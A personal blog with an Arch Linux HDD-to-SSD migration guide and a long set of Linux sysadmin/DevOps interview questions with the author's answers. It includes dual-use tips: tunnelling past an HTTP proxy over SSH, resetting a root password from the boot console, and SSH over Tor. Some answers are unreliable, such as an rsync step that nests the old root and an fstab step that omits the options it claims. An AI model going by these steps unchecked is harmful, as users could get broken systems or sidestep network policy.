EK

Move from HDD to SSD with ArchLinux

2016-04-04 15:44:01 +0300T00:00:00-00:00

Migrate ArchLinux from HDD to SDD

System prepare

# clean pacman cache
$ pacman -Scc

Boot from the Arch liveCD

# partitioned via gdisk /dev/sdb1 for /boot 1G and /dev/sdb2 for / with all space

$ gdisk /dev/sdb
$ mkfs.ext4 /dev/sdb1
$ mkfs.ext4 /dev/sdb2
$ mount /dev/sdb2 /mnt
$ mkdir /mnt/boot
$ mount /dev/sdb1 /mnt/boot
$ mkdir /mnt_old
$ mount /dev/sda3 /mnt_old
$ rsync -aAXv --progress /mnt_old /mnt
$ genfstab -U -p /mnt > /mnt/etc/fstab
$ mount --bind /dev /mnt/dev
$ mount --bind /proc /mnt/proc
$ mount --bind /sys /mnt/sys
$ chroot /mnt /bin/bash
$ grub-install --debug --recheck /dev/sdb
$ grub-install --target=i386-pc --debug --recheck /dev/sdb
$ grub-mkconfig -o /boot/grub/grub.cfg
$ mkinitcpio -p linux

Edit fstab

# add noatime,discard for SSD partions
echo "tmpfs   /tmp       tmpfs   defaults,noatime,mode=1777   0 0" >> /etc/fstab

Enable deadline scheduler for SSD

$ vi /etc/udev/rules.d/60-schedulers.rules
ACTION=="add|change", KERNEL=="sdb", ATTR{queue/rotational}=="0", ATTR{queue/scheduler}="deadline"

Enable FSTRIM service

$ systemctl enable fstrim.service

Exit chroot add reboot

$ exit
$ reboot

Move from HDD to SSD with ArchLinux was originally published by EK at EK on April 04, 2016.

Linux SysAdm/DevOps Interview Questions

2016-01-22 17:13:26 +0300T00:00:00-00:00

A collection of Linux SysAdm/DevOps interview questions with my answers

[[⬆]]General Questions:
[[⬆]]Simple Linux Questions:
[[⬆]]Medium Linux Questions:
[[⬆]]Hard Linux Questions:
[[⬆]]Expert Linux Questions:
[[⬆]]Networking Questions:
[[⬆]]MySQL questions:
[[⬆]]DevOps Questions:
[[⬆]]Fun Questions:
[[⬆]]Demo Time:

SOURCE

[[⬆]]General Questions:

What did you learn yesterday/this week?
Talk about your preferred development/administration environment. (OS, Editor, Browsers, Tools etc.)
Tell me about the last major Linux project you finished.
Tell me about the biggest mistake you’ve made in [some recent time period] and how you would do it differently today. What did you learn from this experience?
Why we must choose you?

I am awesome!

What function does DNS play on a network?

The DNS plays a critical role in supporting the Internet infrastructure by providing a distributed and fairly robust mechanism that resolves Internet host names into IP addresses and IP addresses back into host names.

What is HTTP?

The Hypertext Transfer Protocol (HTTP) is an application protocol for distributed, collaborative, hypermedia information systems.[1] HTTP is the foundation of data communication for the World Wide Web.
Hypertext is structured text that uses logical links (hyperlinks) between nodes containing text. HTTP is the protocol to exchange or transfer hypertext.

What is an HTTP proxy and how does it work?
Describe briefly how HTTPS works.
What is SMTP? Give the basic scenario of how a mail message is delivered via SMTP.
What is RAID? What is RAID0, RAID1, RAID5, RAID10?
What is a level 0 backup? What is an incremental backup?
Describe the general file system hierarchy of a Linux system.

[[⬆]]Simple Linux Questions:

What is the name and the UID of the administrator user?

Name - root
UID - 0
Can check with command:
$ id root
uid=0(root) gid=0(root) groups=0(root)

How to list all files, including hidden one, in a directory?

ls - command ti list directory contents
a - argument show hidden files in a directory
Full command:
$ ls -a ./

What is the Unix/Linux command to remove a directory and its contents?

rm - command to remove files or directories
r - argument tp remove directories and their contents recursively
Full command:
$ rm -r ./somedir

Which command will show you free/used memory? Does free memory exist on Linux?

free - command to display amount of free and used memory in the system
Full command:
$ free
             total       used       free     shared    buffers     cached
Mem:       1551836    1048324     503512          0     324244     518224
-/+ buffers/cache:     205856    1345980
Swap:       731132          0     731132

How to search for the string “my konfi is the best” in files of a directory recursively?

You can use find and grep command.
Full command:
$ find ./* -type f -exec grep -H 'my konfi is the best' {} \;
$ grep -r 'my konfi is the best' ./*

How to connect to a remote server or what is SSH?

Secure Shell, or SSH, is a cryptographic (encrypted) network protocol to allow remote login and other network services to operate securely over an unsecured network.
To connect to remote server we can use command ssh
Full command:
$ ssh login@remote_server_ip

How to get all environment variables and how can you use them?

All UNIX-like operating systems such as OpenBSD, Linux, Redhat, CentOS, Debian allows you to set environment variables. When you log in on UNIX, your current shell (login shell) sets a unique working environment for you which is maintained until you log out.
printenv\env - command to print all or part of environment
Full command:
$ printenv PATH HOME
$PATH - Display lists directories the shell searches, for the commands.
$HOME - User's home directory to store files.

All environment variables you can use in scripts.

I get “command not found” when I run ifconfig -a. What can be wrong?

Possible causes:
1. net-tools package is not installed in your system.
2. you don`t have "/sbin" directory in your $PATH, so just write full path for command -  /sbin/ifconfig -a

What happens if I type TAB-TAB?

It depends where you are type this.
If we are talking about shells like bash\zsh, so you type TAB-TAB it will enable built in "completion" function.
Most shells allow command completion, typically bound to the TAB key, which allow you to complete the names of commands stored upon your PATH, file names, or directory names. This is typically used like so:
$ ls /bo[TAB]
When you press the TAB key the argument /bo is automatically replaced with the value /boot.

What command will show the available disk space on the Unix/Linux system?

df - report file system disk space usage
Simple run command and you will see available disk space in your system
$ df -h

What commands do you know that can be used to check DNS records?

$ host example.com
$ nslookup example.com
$ dig example.com
$ python -c "import socket;print(socket.gethostbyname('example.com'))"

What Unix/Linux commands will alter a files ownership, files permissions?

chown - command to change file owner and group information.
chmod - command to change file access permissions such as read, write, and access.

What does chmod +x FILENAMEdo?

This command will set executation bit to FILENAME for everybody owner\group\other.

What does the permission 0750 on a file mean?

$ chmod 750 FILENAME
-rwxr-x--- 1 root root 24 Jan 22 18:02 FILENAME*
This permissions means that owner can read\write\execute this file, also members of group can read and execute, other users can do nothing with it.

What does the permission 0750 on a directory mean?

$ chmod 750 DIRECTORY
drwxr-x---   5 root root    4.0K Nov 10 12:36 DIRECTORY
This permissions means that owner can read\write\execute(see file list of directory) this directory, also members of group can read and list, other users can do nothing with it.

How to add a new system user without login permissions?
How to add/remove a group from a user?
What is a bash alias?
How do you set the mail address of the root/a user?
What does CTRL-c do?
What is in /etc/services?
How to redirect STDOUT and STDERR in bash? (> /dev/null 2>&1)
What is the difference between UNIX and Linux.
What is the difference between Telnet and SSH?
Explain the three load averages and what do they indicate.

To see load averages numbers you can run commands:
$ top (see load average section)

$ cat /proc/loadavg
1.00 1.01 0.98 2/198 21533

$ uptime
18:37:28 up 4 days,  7:17,  4 users,  load average: 1.00, 1.01, 0.98

The three numbers after load average -  1.00, 1.01, 0.98 - represent the 1-, 5-, and 15-minute load averages on the machine. A system load average is equal to the average number of processes in a runnable or uninterruptible state. Runnable processes are either currently using the CPU or waiting to do so, and uninterruptible processes are waiting for I/O.

What do the following commands do and how would you use them?
tee

tee - read from standard input and write to standard output and files
For example you can use this command like this:
$ echo "deb http://pkg.jenkins-ci.org/debian binary/" | sudo  tee -a /etc/apt/sources.list.d/jenkins.list

awk

The awk is most useful when handling text files that are formatted in a predictable way. For instance, it is excellent at parsing and manipulating tabular data. It operates on a line-by-line basis and iterates through the entire file.
The awk syntax looks like this:
awk '/search_pattern/ { action_to_take_on_matches; another_action; }' file_to_parse

For example you can use this command like this:
$ awk '{print}' /etc/fstab

tr

We can use tr for translating, or deleting, or squeezing repeated characters.
It will read from STDIN and write to STDOUT.

For example you can use this command like this:
$ tr a-z A-Z
$ tr '()' '{}'

cut

The command cut is used for text processing.
We can use this command to extract portion of text from a file by selecting columns.
cut OPTION... [FILE]...

For example you can use this command like this:
The example displays only the first field of each lines from /etc/passwd file using the field delimiter : (colon). In this case, the 1st field is the username.
$ cut -d ':' -f 1 < /etc/passwd

tac

tac (which is "cat" backwards) concatenate and print files in reverse
For example you can use this command like this:
$ cat ok
1
2
3

$ tac ok
3
2
1

curl

Curl is a tool to transfer data from or to a server, using one of the supported protocols (DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMTP, SMTPS, TELNET and TFTP).  The command is designed to work without user interaction.
For example you can use this command like this:
$ curl https://example.com

wget

Wget is a free utility for non-interactive download of files from the Web.
It supports HTTP, HTTPS, and FTP protocols, as well as retrieval through HTTP proxies.
Wget is non-interactive, meaning that it can work in the background, while the user is not logged on.
This allows you to start a retrieval and disconnect from the system, letting Wget finish the work.
By contrast, most of the Web browsers require constant user's presence, which can be a great hindrance when transferring a lot of data.
For example you can use this command like this:
$ wget -S https://example.com

watch

watch runs command repeatedly, displaying its output and errors (the first screenfull). This allows you to watch the program output change over time. By default, the program is run every 2 seconds. By default, watch will run until interrupted.
For example you can use this command like this:
To watch the contents of a directory change, you could use
$ watch -d ls -l

head

Print the first 10 lines of each FILE to standard output.
With more than one FILE, precede each with a header giving the file name.
With no FILE is read standard input.
For example you can use this command like this:
To print first 10 lines
$ head /etc/passws

tail

Print the last 10 lines of each FILE to standard output.
With more than one FILE, precede each with a header giving the file name.
With no FILE is read standard input.
For example you can use this command like this:
To print last 10 lines
$ tail /etc/passws

What does a & after a command do?

This is known as job control under unix. The & informs the shell to put the command in the background.
This means it continues to run the command but returns you to your shell to allows you to continue doing parallel commands and do not have to wait until the script is finished. If you forget to add & after command, you can stop the current running process with Ctrl-Z and continue it in the background with bg (or in the foreground with fg).

What does & disown after a command do?

& puts the job in the background, that is, makes it block on attempting to read input, and makes the shell not wait for its completion.

disown removes the process from the shell's job control, but it still leaves it connected to the terminal. One of the results is that the shell won't send it a SIGHUP. Obviously, it can only be applied to background jobs, because you cannot enter it when a foreground job is running.

What is a packet filter and how does it work?

Packet filters act by inspecting the "packets" which are transferred between computers on the Internet. If a packet does not match the packet filter's set of filtering rules, the packet filter will drop.

What is Virtual Memory?

In computing, virtual memory is a memory management technique that is implemented using both hardware and software. It maps memory addresses used by a program, called virtual addresses, into physical addresses in computer memory. Main storage as seen by a process or task appears as a contiguous address space or collection of contiguous segments. The operating system manages virtual address spaces and the assignment of real memory to virtual memory.

What is swap and what is it used for?

Swap is a special type of memory.
Swap space in Linux is used when the amount of physical memory (RAM) is full. If the system needs more memory resources and the RAM is full, inactive pages in memory are moved to the swap space. While swap space can help machines with a small amount of RAM, it should not be considered a replacement for more RAM. Swap space is located on hard drives, which have a slower access time than physical memory.
Swapping is a useful technique that enables a computer to execute programs and manipulate data files larger than main memory. The operating system copies as much data as possible into main memory, and leaves the rest on the disk. When the operating system needs data from the disk, it exchanges a portion of data (called a page or segment) in main memory with a portion of data on the disk.

What is an A record, an NS record, a PTR record, a CNAME record, an MX record?
Are there any other RRs and what are they used for?
What is a Split-Horizon DNS?
What is the sticky bit?

A sticky bit is a permission bit that is set on a directory that allows only the owner of the file within that directory or the root user to delete or rename the file. No other user has the needed privileges to delete the file created by some other user.

To remove sticky bit:
sudo chmod -t /tmp

To set sticky bit:
$ sudo chmod +t /tmp

What does the immutable bit to a file?
What is the difference between hardlinks and symlinks? What happens when you remove the source to a symlink/ hardlink?
What is an inode and what fields are stored in an inode?

inode is a "database" of all file information that tells about file structure.
The inode of each file uses a pointer to point to the specific file, directory or object.
The pointer is a unique number which usually is referred to as the inode number.

Howto force/trigger a file system check on next reboot?
What is SNMP and what is it used for?
What is a runlevel and how to get the current runlevel?

Runlevel is a mode of operation in OS, and a runlevel represents the different system state of a Linux system. When the Linux system boots, the kernel is initialized , and then enters one (and only one) runlevel. When a service starts, it will try to start all the services that are associated with that runlevel.

In general, when a computer enters runlevel 0, the system shuts down all running processes, unmounts all file systems, and powers off.

When it enters runlevel 6, it reboots.

The intermediate runlevels (1-5) differ in terms of which drives are mounted, and which network services are started. Default runlevels are typically 3, 4, or 5.

Runlevel 1 is reserved for single-user mode-a state where only a single user can log in to the system. Generally, few processes are started in single-user mode, so it is a very useful runlevel for diagnostics when a system won't fully boot. Even in the default GRUB menu we will notice a recovery mode option that boots us into runlevel 1.

In other words, runlevels define what tasks can be accomplished in the current state (or runlevel) of a Linux system. Every Linux system supports three basic runlevels, plus one or more runlevels for normal operation.

Lower run levels are useful for maintenance or emergency repairs, since they usually don't offer any network services at all.

To check current runlevel:
$ runlevel
N 2

What is SSH port forwarding?
What is the difference between local and remote port forwarding?
What are the steps to add a user to a system without using useradd/adduser?
What is MAJOR and MINOR numbers of special files?
Describe a scenario when you get a “filesystem is full” error, but ‘df’ shows there is free space.
Describe a scenario when deleting a file, but ‘df’ not showing the space being freed.
Describe how ‘ps’ works.
What happens to a child process that dies and has no parent process to wait for it and what’s bad about this?
Explain briefly each one of the process states.
How to know which process listens on a specific port?
What is a zombie process and what could be the cause of it?
You run a bash script and you want to see its output on your terminal and save it to a file at the same time. How could you do it?
Explain what echo “1” > /proc/sys/net/ipv4/ip_forward does.
Describe briefly the steps you need to take in order to create and install a valid certificate for the site https://foo.example.com.
Can you have several HTTPS virtual hosts sharing the same IP?
What is a wildcard certificate?
Which Linux file types do you know?
What is the difference between a process and a thread? And parent and child processes after a fork system call?
What is the difference between exec and fork?
What is “nohup” used for?
What is the difference between these two commands?
myvar=hello
export myvar=hello
How many NTP servers would you configure in your local ntp.conf?
What does the column ‘reach’ mean in ntpq -p output?
You need to upgrade kernel at 100-1000 servers, how you would do this?
How can you get Host, Channel, ID, LUN of SCSI disk?
How can you limit process memory usage?

[[⬆]]Hard Linux Questions:

What is a tunnel and how you can bypass a http proxy?

A tunnel is a mechanism used to ship a foreign protocol across a network that normally wouldn't support it. Tunneling protocols allow you to use, for example, IP to send another protocol in the "data" portion of the IP datagram. Most tunneling protocols operate at layer 4, which means they are implemented as a protocol that replaces something like TCP or UDP.

You can forward a port from your computer to a remote computer, which has the result of tunneling your data over SSH in the process, making it secure. This may not seem useful, after all, why would I want a port on my computer being forwarded to another computer? The answer lies within some clarification. The port forwarding function of SSH works by first listening on a local socket for a connection. When a connection is made, SSH will forward the entire connection onto the remote host and portable.

For example: 'ssh -L80:workserver.com:80 [email protected]'
This command creates an SSH connection to your workdesktop.com computer, but at the same time opens port 80 on your local machine. If you point your web browser at http://localhost, the connection will actually be forwarded through your SSH connection to your desktop, and sent onto the workserver.com server, port 80.

What is the difference between IDS and IPS?

IDS - Intrusion Detection System - A device or application that analyzes whole packets, both header and payload, looking for known events. When a known event is detected a log message is generated detailing the event.

IPS - Intrusion Prevention System - A device or application that analyzes whole packets, both header and payload, looking for known events. When a known event is detected the packet is rejected.

What shortcuts do you use on a regular basis?

A lot, for example check my dotfiles git https://github.com/jivoi/dotfiles/blob/master/.aliases

What is the Linux Standard Base?

LSB is a project to standardize the software system structure, including the filesystem hierarchy used in the Linux operating system. The LSB is based on the POSIX specification, the Single UNIX Specification (SUS), and several other open standards, but extends them in certain areas.

What is an atomic operation?

For example we can say that atomic operation is a an operation during which a process can simultaneously read a location and write it in the same bus operation. This prevents any other process or I/O device from writing or reading memory until the operation is complete. Atomic implies indivisibility and irreducibility, so an atomic operation must be performed entirely or not performed at all.

Your freshly configured http server is not running after a restart, what can you do?

If you rebooted server and http server is not running after it, so first you need to check it configuration file and the server error log where you can find the proble why server is not running, and after you can run it manually with init\upstart\systemd script, if you want that server run automatically you need enable autostart for it.
You can run one of this command:
$ chkconfig nginx on (for centos\rhel)
$ update-rc.d nginx enable (for debian\ubuntu)
$ systemctl enable nginx (for linux with systemd)

What kind of keys are in ~/.ssh/authorized_keys and what it is this file used for?

This is a public ssh key.
With public key authentication, the authenticating entity has a public key and a private key. Each key is a large number with special mathematical properties. The private key is kept on the computer you log in from, while the public key is stored on the .ssh/authorized_keys file on all the computers you want to log in to.

I’ve added my public ssh key into authorized_keys but I’m still getting a password prompt, what can be wrong?

Maybe your ~/.ssh/authorized_keys permissions are too open by OpenSSH standards.
You need to check this and fix with:
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

Maybe remote server is configured to disable public keys, you can check it in /etc/sshd_config configuration file where PubkeyAuthentication option must be set to YES

Maybe it is something with you local ssh configuration ~/.ssh/config

Did you ever create RPM’s, DEB’s or solaris pkg’s?

For RPM you need to create a spec file

[[⬆]]Expert Linux Questions:

A running process gets EAGAIN: Resource temporarily unavailable on reading a socket. How can you close this bad socket/file descriptor without killing the process?

$ man errno | grep  EAGAIN
EAGAIN is just means "there's nothing to read now; try again later".

[[⬆]]Networking Questions:

What is localhost and why would ping localhost fail?

A localhost is the standard hostname given to the address assigned to the loopback network interface. Translated into an IP address, a localhost is always designated as 127.0.0.1.
Ping can fail if loopback interface is down, also it is possible to configure local iptables(firewall) in such a way as to drop all packets received on localhost.
Also it is possible that icmp_echo is disable with sysctl net.ipv4.icmp_echo_ignore_all=1

What is the similarity between “ping” & “traceroute” ? How is traceroute able to find the hops.

Both of this programs can be used to troubleshoot connection problems.

Traceroute shows you the path that packets take from your local system to a remote host. You see the response time to each step along the way, because each datagram (Unix "traceroute" uses UDP datagrams by default, but you can also choose between ICMP, TCP rather than ICMP on Windows) has a TTL (time-to-live) that's one hop longer than the previous one.

By default you need a superuser privileges to run ping and traceroute with ICMP option
$ ping example.com
ping: icmp open socket: Operation not permitted

$ traceroute -I example.com
You have no enough privileges to use this traceroute method.

What is the command used to show all open ports and/or socket connections on a machine?

$ lsof -i
$ netstat -natupx
$ ss -lptuxa

Is 300.168.0.123 a valid IPv4 address?

No, IPv4 addresses are canonically represented in dot-decimal notation, which consists of four decimal numbers, each ranging from 0 to 255, separated by dots, e.g., 172.16.254.1. Each part represents a group of 8 bits (octet) of the address. So 2 ** 8 = 256(255) is a max number for each octet.

Which IP ranges/subnets are “private” or “non-routable” (RFC 1918)?

The Internet Assigned Numbers Authority (IANA) has reserved the following three blocks of the IP address space for private internets:
     10.0.0.0        -   10.255.255.255  (10/8 prefix)
     172.16.0.0      -   172.31.255.255  (172.16/12 prefix)
     192.168.0.0     -   192.168.255.255 (192.168/16 prefix)

What is a VLAN?

A virtual LAN (VLAN) is any broadcast domain that is partitioned and isolated in a computer network at the data link layer (OSI layer 2).
To subdivide a network into virtual LANs, one configures a network switch or router. Simpler network devices can only partition per physical port (if at all), in which case each VLAN is connected with a dedicated network cable (and VLAN connectivity is limited by the number of hardware ports available). More sophisticated devices can mark packets through tagging, so that a single interconnect (trunk) may be used to transport data for multiple VLANs. Since VLANs share bandwidth, a VLAN trunk might use link aggregation and/or quality of service prioritization to route data efficiently.

What is ARP and what is it used for?

The Address Resolution Protocol (ARP) is a protocol used for resolution of network layer addresses into link layer addresses, a critical function in multiple-access networks. ARP is used for mapping a network address (e.g. an IPv4 address) to a physical address like an Ethernet address (also named a MAC address).
When we try to ping an IP address on our local network, say 192.168.1.2, our system has to turn the IP address 192.168.1.2 into a MAC address. This involves using ARP to resolve the address, hence its name.

What is the difference between TCP and UDP?

TCP is connection-oriented protocol.
UDP is connectionless protocol

TCP provides delivery guarantee
UDP is unreliable, it doesn't provide any delivery guarantee.

TCP guarantees order of message
UDP doesn't provide any ordering or sequencing guarantee

TCP is slow
UDP is fast

TCP has bigger header than UDP

What is the purpose of a default gateway?

A default gateway in computer networking is the node that is assumed to know how to forward packets on to other networks. Typically in a TCP/IP network, nodes such as servers, workstations and network devices each have a defined default route setting, (pointing to the default gateway), defining where to send packets for IP addresses for which they can determine no specific route. The gateway is by definition a router.

What is command used to show the routing table on a Linux box?

You can use one of this:
$ route -n
$ netstat -rn
$ ip route list

A TCP connection on a network can be uniquely defined by 4 things. What are those things?

remote-ip-address, remote-port, source-ip-address, source-port

When a client running a web browser connects to a web server, what is the source port and what is the destination port of the connection?

destination port - is 80 for HTTP or 443 for HTTPS
source port - will be random number from option net.ipv4.ip_local_port_range, by default it will be something like between 32768 and 61000 (around 28K source ports available (for a single destination IP:port))

How do you add an IPv6 address to a specific interface?

Using ip:
Usage: /sbin/ip -6 addr add <ipv6address>/<prefixlength> dev <interface>
Example: /sbin/ip -6 addr add 2001:0db8:0:f101::1/64 dev eth0

Using ifconfig:
Usage: /sbin/ifconfig <interface> inet6 add <ipv6address>/<prefixlength>
Example: /sbin/ifconfig eth0 inet6 add 2001:0db8:0:f101::1/64

It is temporarily, you will lost this configuration after reboot. To add permanent ipv6 you need to add option to config file, on Fedora, Redhat Enterprise Linux, and clones like Centos add lines to these files:

/etc/sysconfig/network

NETWORKING_IPV6=yes
IPV6FORWARDING=no
IPV6_AUTOCONF=no
IPV6_AUTOTUNNEL=no
IPV6_DEFAULTGW=fe80::1
IPV6_DEFAULTDEV=eth0

/etc/sysconfig/network-scripts/ifcfg-eth0

IPV6INIT=yes
IPV6ADDR=2607:f388:xxxx:yyyy::zzzz/64     # replace with your static address

For Debian and derivatives like Ubuntu add lines to these files:

/etc/sysctl.conf

net.ipv6.conf.eth0.accept_ra=0

/etc/network/interfaces
iface lo0 inet6 loopback
iface eth0 inet6 static
address 2607:f388:xxxx:yyyy::zzzz        # replace with your static address
netmask 64
gateway fe80::1

You have added an IPv4 and IPv6 address to interface eth0. A ping to the v4 address is working but a ping to the v6 address gives yout the response sendmsg: operation not permitted. What could be wrong?

This means that your server is not allowed to send ICMP packets.
Check firewall rules:
$ ip6tables -P INPUT ACCEPT
$ ip6tables -P OUTPUT ACCEPT
$ ip6tables -P FORWARD ACCEPT

What is SNAT and when should be used?

Source Network Address Translation (SNAT) - changes the source address in IP header of a packet. It may also change the source port in the TCP/UDP headers. The typical usage is to change the a private (rfc1918) address/port into a public address/port for packets leaving your network.

Explain how could you ssh login into a Linux system that DROPs all new incomming packets using a SSH tunnel.

Need to think =)

How do you stop a DDoS?

It is very complicated questions.
Before to do something you need answer a lot of questions.
Simple way is:
- Limiting the ammount of concurrent connections from ddos IP address to your Server with firewall rules.
- Optimize you server configuration options

How can you see content of ip packet?

You can use tcpdump\tshark to display captured packets in HEX and ASCII
$ tcpdump -XX -i eth0
$ tshark -i eth0 -x

You can write a python\c script for this
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
while True:
  print s.recvfrom(65565)

How do you create a user?

$ mysql -u root -ppassword -hsomehost -e 'CREATE USER login@"ip";'

How do you provide privileges to a user?

# read only
GRANT select ON somedb.* TO 'login'@'ip' IDENTIFIED BY 'agoodpassword';
# all privileges
GRANT all privileges ON somedb.* TO 'login'@'ip' IDENTIFIED BY 'agoodpassword';

What is the difference between a “left” and a “right” join?

Table from which you are taking data is 'LEFT'.
Table you are joining is 'RIGHT'.
LEFT JOIN: Take all items from left table AND (only) matching items from right table.
RIGHT JOIN: Take all items from right table AND (only) matching items from left table.
Most people only use LEFT JOIN since it seems more intuitive

Explain briefly the differences between InnoDB and MyISAM.

MYISAM:
- MYISAM supports Table-level Locking
- MyISAM designed for need of speed
- MyISAM does not support foreign keys hence we call MySQL with MYISAM is DBMS
- MyISAM stores its tables, data and indexes in diskspace using separate three different files. (- tablename.FRM, tablename.MYD, tablename.MYI)-
- MYISAM not supports transaction. You cannot commit and rollback with MYISAM. Once you issue a c- ommand - it’s done.
- MYISAM supports fulltext search
You can use MyISAM, if the table is more static with lots of select and less update and delete.

INNODB:
- InnoDB supports Row-level Locking
- InnoDB designed for maximum performance when processing high volume of data
- InnoDB support foreign keys hence we call MySQL with InnoDB is RDBMS
- InnoDB stores its tables and indexes in a tablespace
- InnoDB has better crash recovery.
- InnoDB supports transaction. You can commit and rollback with InnoDB

Describe briefly the steps you need to follow in order to create a simple master/slave cluster.

AT Master:
- enable binlog
- set server-id=1
- create user with replication grant
- create dump with master-data

AT Slave:
- enable binlog \ relay-log
- set server-id=2
- restore dump
- set master_host \ master_log_file \ maste_log_pos

Why should you run “mysql_secure_installation” after installing MySQL?

mysql_secure_installation is a script that improve MySQL installation security in the following ways:
- set a password for root accounts
- remove root accounts that are accessible from outside the local host
- remove anonymous-user accounts
- can remove the test database (which by default can be accessed by all users, even anonymous users), and privileges that permit anyone to access databases with names that start with test_

How do you check which jobs are running?

$ mysql -e "show full processlist"

[[⬆]]DevOps Questions:

Can you describe your workflow when you create a script?

1. Create\check task in tfs\jira
2. Analysis task description.
3. Analysis current script collection.
4. Analysis internet for same job\problem.
5. Write and test script prototype in test environment.
6. Commit script to git\svn
7. Build package\use CMS to deploy script in production.
8. Close task in tfs\jira

What is GIT?

Git is a distributed version control system developed by Linus Torvalds

What is a dynamically/statically linked file?

Statically file means that the linker program (ld) after source code compilation adds all librarys and other dependencies directly to executable file

Dynamically file means that the above step doesn't happen. The operating system's loader needs to find the dependencies code, load it into memory, each time the program is run.

What does “configure && make && make install” do?

This commands is need if you what to build software from source code.

Configure - is a script which is responsible for getting ready to build the software on your specific system. It makes sure all of the dependencies for the rest of the build and install process are available, and finds out whatever it needs to know to use those dependencies.

Make - is a command  which runs a series of tasks defined in a Makefile to build the finished program from its source code.

Make install - is a command which will copy the built program, and its libraries and documentation, to the correct locations.

What is puppet/chef/ansible used for?

Puppet/Chef/Ansible - are a free software platform for configuring and managing computers.

How do you create a new postgres user?

$ psql -c "CREATE USER testuser WITH PASSWORD 'XXXXX';"

What is a virtual IP address? What is a cluster?

A virtual IP address (VIP or VIPA) is an IP address that doesn't correspond to an actual physical network interface (port). Uses for VIPs include Network Address Translation (especially, One-to-many NAT), fault-tolerance, and mobility.

Virtual IP addresses are commonly used to enable high availability. A standard failover design uses an active/passive server pair connected by replication and watched by a cluster manager. The active server listens on a virtual IP address; applications use it for connections instead of the normal host IP address. Should the active server fail, the cluster manager promotes the passive server and shifts the floating IP address to the newly promoted host. Application connections break and then reconnect to the VIP again, which points them to the new server.

Cluster is a set of loosely or tightly connected computers that work together so that, in many respects, they can be viewed as a single system.

How do you print all strings of printable characters present in a file?

Use cmd /usr/bin/strings
$ strings /path/somefile

How do you find shared library dependencies?

ldd - print shared library dependencies
$ ldd /path/somefile
        linux-vdso.so.1 (0x00007ffcdabac000)
        libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f1a42081000)

What is Automake and Autoconf?

Automake and Autoconf both are parts of The GNU build system, also known as the Autotools, is a suite of programming tools designed to assist in making source code packages portable to many Unix-like systems.

Automake - is a programming tool to automate parts of the compilation process. It eases usual compilation problems. For example, it points to needed dependencies. It automatically generates one or more Makefile.in from files called Makefile.am. Each Makefile.am contains, among other things, useful variable definitions for the compiled software, such as compiler and linker flags, dependencies and their versions, etc.

Autoconf - generate a configuration script from a TEMPLATE-FILE if given, or configure.ac if present, or else configure.in. Output is sent to the standard output if TEM‐PLATE-FILE is given, else into configure.

./configure shows an error that libfoobar is missing on your system, how could you fix this, what could be wrong?

Configure could not find libfoobar in LD_LIBRARY_PATH or libfoobar is not installed on your system.
You can fix it by installing libfoobar package with package manager or build it from source.
If libfoobar is already installed just check /etc/ld.so.conf and add right path to libfoobar

What are the Advantages/disadvantages of script vs compiled program?

Script program have the advantages of:
- flexibility to change the script
- easier to implement (writing good compilers is very hard!!)
- no need to run a compilation stage: can execute code directly "on the fly"
- being more portable.

Script program have the disadvantages of:
- much slow than compiled program
- source code is open

Compiled program have the advantages of:
- faster performance by directly using the native code of the target machine
- opportunity to apply quite powerful optimisations during the compile stage
- hides the source code from the end user

Compiled program have the disadvantages of:
- slow to develop (edit, compile, link and run. The compile/link steps could take serious time).
- to execute you need to compile a different executable for each type of processor and/or platform that you want your program to run on

What’s the relationship between continuous delivery and DevOps?

Continuous delivery(CD) is an agile way of working whereby quality products—normally software assets—can be developed, built, tested, and shipped in quick succession.
DevOps is another way of working whereby developers and system operators work in harmony with little or no organizational barriers between them towards a common goal.

What are the important aspects of a system of continous integration and deployment?

Automation\testing are the important aspects of a great development workflow.
Every task that can be done by a machine should be.
Automation gives you the time to focus.
Through testing, you can be sure that the most important steps your customers will take through your system are working, regardless of the changes you make.
This gives you the confidence to experiment, implement new features, and ship updates quickly.

[[⬆]]Fun Questions:

A careless sysadmin executes the following command: chmod 444 /bin/chmod - what do you do to fix this?

Default permission is 755.
Y can use C\C++\Python\Perl and other language to fix this.

#!/usr/bin/python
import os
os.chmod("/bin/chmod", 0755)

I’ve lost my root password, what can I do?

Simple boot in sigle mode and change it.
Change in grub -> init=/bin/bash -> boot -> run $mount -o remount,rw / -> change root password with $ passwd root

I’ve rebooted a remote server but after 10 minutes I’m still not able to ssh into it, what can be wrong?

If it does not ping, maybe proble with network\firewall
If it pings but you can not to connect to it with ssh maybe problem with ssh config\firewall rules
Bad permission for ssh keys
Wrong password

If you were stuck on a desert island with only 5 command-line utilities, which would you choose?

you do not need computer on a desert island because there is no enegry =)

You come across a random computer and it appears to be a command console for the universe. What is the first thing you type?

It cool to live forever =)
change user 'mylogin' expiration from 'XXXXX-XX-XX' to 'never'
usermod -e "" mylogin

Tell me about a creative way that you’ve used SSH?

add to .ssh/config this lines and install tor and you can use ssh with tor.
Host *.onion
    ProxyCommand socat - SOCKS4A:localhost:%h:%p,socksport=9050

You have deleted by error a running script, what could you do to restore it?

While script is running it is not deleted
Find pid of running script and restore it from procfs
ls -l /proc/4607/fd/4
lr-x------ 1 juliet juliet 64 Apr  7 03:19
/proc/4607/fd/4 -> /home/juliet/testing.txt (deleted)
$ cp /proc/4607/fd/4 testing.txt.bk

[[⬆]]Demo Time:

Unpack test.tar.gz without man pages or google.

$ tar xzvf test.tar.gz

Remove all “*.pyc” files from testdir recursively?

$ find ./testdir -type f -name "*.pyc" -ls -delete
$ find ./testdir -type f -name "*.pyc"|xargs rm -f

Search for “my konfu is the best” in all *.py files.

$ find ./testdir -type f -name "*.py"|xargs grep "my konfu is the best"

Replace the occurrence of “my konfu is the best” with “I’m a linux jedi master” in all *.txt files.

$ find ./testdir -type f -name "*.txt"|xargs sed -i "s/my konfu is the best/I\'m a linux jedi master/"

Test if port 443 on a machine with IP address X.X.X.X is reachable.

$  nc -z -v X.X.X.X 443
Connection to X.X.X.X 443 port [tcp/https] succeeded!

Get http://myinternal.webserver.local/test.html via telnet.

$ telnet myinternal.webserver.local 80
GET /test.html HTTP/1.1
HOST: myinternal.webserver.local
<ENTER>
<ENTER>

How to send an email without a mail client, just on the command line?

$ telnet localhost smtp
HELO example.com
